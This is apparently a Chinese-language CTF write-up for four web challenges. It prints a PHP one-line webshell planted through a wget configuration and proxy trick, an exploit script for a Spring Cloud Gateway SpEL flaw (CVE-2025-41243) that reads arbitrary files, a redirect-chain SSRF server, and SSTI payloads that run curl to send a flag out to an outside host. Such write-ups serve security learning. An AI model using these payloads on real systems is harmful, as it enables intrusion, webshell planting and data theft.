smallcode
WGETRC 是 Wget 工具的配置文件,允许用户通过环境变量或文件自定义 Wget 的行为。因此通过指定WGETRC环境变量到1.txt文件进行相关配置;
通过在1.txt中写入代理,让wget通过代理请求hhhh,我们启动服务端监听端口作为代理端,只要是请求hhhh域名的地址返回指定内容。 在1.txt中在配置输出文件的名称为1.php,因此可以实现任意文件上传,写入一句话木马
1 2 3 4
| input = /tmp/1.txt post-file = 1.txt output_document = 1.php http_proxy=http://**.**.**.**:28888/1.txt
|
服务端中的1.txt文件内容为
1
| <?php @eval($_POST['candy']); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
from http.server import HTTPServer, BaseHTTPRequestHandler import logging import os
logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(message)s' )
class ProxyLikeHandler(BaseHTTPRequestHandler): def do_GET(self): logging.info(f"收到GET请求: {self.path}") logging.info(f"Host: {self.headers.get('Host')}") logging.info(f"User-Agent: {self.headers.get('User-Agent')}")
file_path = '1.txt' if os.path.exists(file_path): with open(file_path, 'rb') as f: file_data = f.read() self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Content-Disposition', 'attachment; filename="1.txt"') self.send_header('Content-Length', str(len(file_data))) self.end_headers() self.wfile.write(file_data) logging.info(f"已返回 1.txt ({len(file_data)} 字节)") else: self.send_error(404, "文件未找到: 1.txt")
def do_CONNECT(self): self.do_GET()
def do_POST(self): self.do_GET()
def log_message(self, format, *args): pass
def run_server(host='0.0.0.0', port=28888): server_address = (host, port) httpd = HTTPServer(server_address, ProxyLikeHandler)
print("=" * 60) print("HTTP服务器启动成功!") print(f"监听地址: {host}:{port}") print("所有通过此代理的请求都将收到 1.txt 文件") print("=" * 60) print("等待请求中...\n")
try: httpd.serve_forever() except KeyboardInterrupt: print("\n服务器已停止") httpd.server_close()
if __name__ == '__main__': run_server()
|


访问后即可将一句话木马写入,通过蚁剑连接后,使用nl读取flag

ezcloud
本题主要考察内容是 CVE-2025-41243 的任意文件读取,结合一下两个 poc 的内容,即可实现任意文件读取。
https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/
https://rce.moe/2025/09/29/CVE-2025-41243
通过禁用安全限制,覆盖属性的替换路由,再由 setter 触发午餐静态方法刷新配置,实现对静态资源重写,然后即可使用file:///协议进行任意文件下载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import requests
s = requests.Session() URL = "http://web-a8bfd7363f.challenge.xctf.org.cn/"
ROUTE_NAME = "test_b"
def add_route(predicate: str): res = s.post( f"{URL}actuator/gateway/routes/{ROUTE_NAME}", json={ "predicates": [{"name": "Path", "args": {"_genkey_0": "/actuators/test"}}], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/test", "_genkey_1": predicate, }, } ], "uri": "http://example.com", "order": -1, }, ) res.raise_for_status() s.post( f"{URL}actuator/gateway/refresh", ) res.raise_for_status()
def read_route(): res = s.get(f"{URL}actuator/gateway/routes/{ROUTE_NAME}") try: return res.json()["filters"] except Exception as e: print(f"UNEXPECTED: {e!r}, {res.status_code} {res.text}") raise
def delete_route(): res = s.delete(f"{URL}actuator/gateway/routes/{ROUTE_NAME}") res.raise_for_status() s.post( f"{URL}actuator/gateway/refresh", ) res.raise_for_status()
add_route("#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = false}") print(read_route())
add_route("#{@resourceHandlerMapping.urlMap['/**'].locationValues[0]='file:///'}") print(read_route())
add_route("#{@resourceHandlerMapping.urlMap['/**'].afterPropertiesSet}") print(read_route())
|
在修改路由配置以后,访问根目录下的 flag 内容即可获取 flag。
1 2
| http://web-a8bfd7363f.challenge.xctf.org.cn/flag 下载flag
|

safesecret
由于 walked_steps >= ERROR_COUNT 构造至少7步重定向链,因此通过起一个 python 服务实现 7 步重定向到http://127.0.0.1:5000/_internal/secret,获取得到 secret;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from flask import Flask, Response
app = Flask(__name__)
@app.route("/step1") def step1(): return Response("", headers={"Refresh": "0;url=http://**.**.**.**:8000/step2"})
@app.route("/step2") def step2(): return Response("", headers={"Refresh": "0;url=http://**.**.**.**:8000/step3"})
@app.route("/step3") def step3(): return '<meta http-equiv="refresh" content="0;url=http://**.**.**.**:8000/step4">'
@app.route("/step4") def step4(): return '<meta http-equiv="refresh" content="0;url=http://**.**.**.**:8000/step5">'
@app.route("/step5") def step5(): return Response("", status=401, headers={"X-Next": "http://**.**.**.**:8000/step6"})
@app.route("/step6") def step6(): return Response("", status=429, headers={"X-Next": "http://**.**.**.**:8000/step7"})
@app.route("/step7") def step7(): return Response("", headers={"Refresh": "0;url=http://127.0.0.1:5000/_internal/secret"})
if __name__ == "__main__": app.run(host="0.0.0.0", port=8000)
|
虽然存在 ssti 注入,但是由于长度必须小于 47 个字符的限制,因此需要采用链式调用实现 ssti 注入。
并且代码中注册了 sset 和 sget 两个函数到 Jinja2 的全局命名空间。
通过将中间值存储再 session,实现黑名单绕过以及缩减长度,最终 payload 如下:
1 2 3
| http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=sset('g',request.args.v)%}&v=__globals__ http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=sset('p',request.args.v)%}&v=curl http://**.**.**.**:28888/?f=`cat /flag | base64` http://web-13f5625fbc.challenge.xctf.org.cn/login?secret=1140457d-a0b5-4e6d-a423-5a676e61992a&username={%set a=lipsum[sget('g')].os.popen(sget('p'))%}
|


ecshop
emmm,既然其他的大哥都不放详细的分析过程的话,虽然我没解出来,但是分析到最后一步的过程我也不放了,就这样吧。
题目的环境应该是想让我们利用前台的漏洞,但是我没有审到前台的漏洞,虽然后台的页面不知道是故意过滤了还是什么其他原因,但是依旧可以通过数据包进行登录到后台去rce。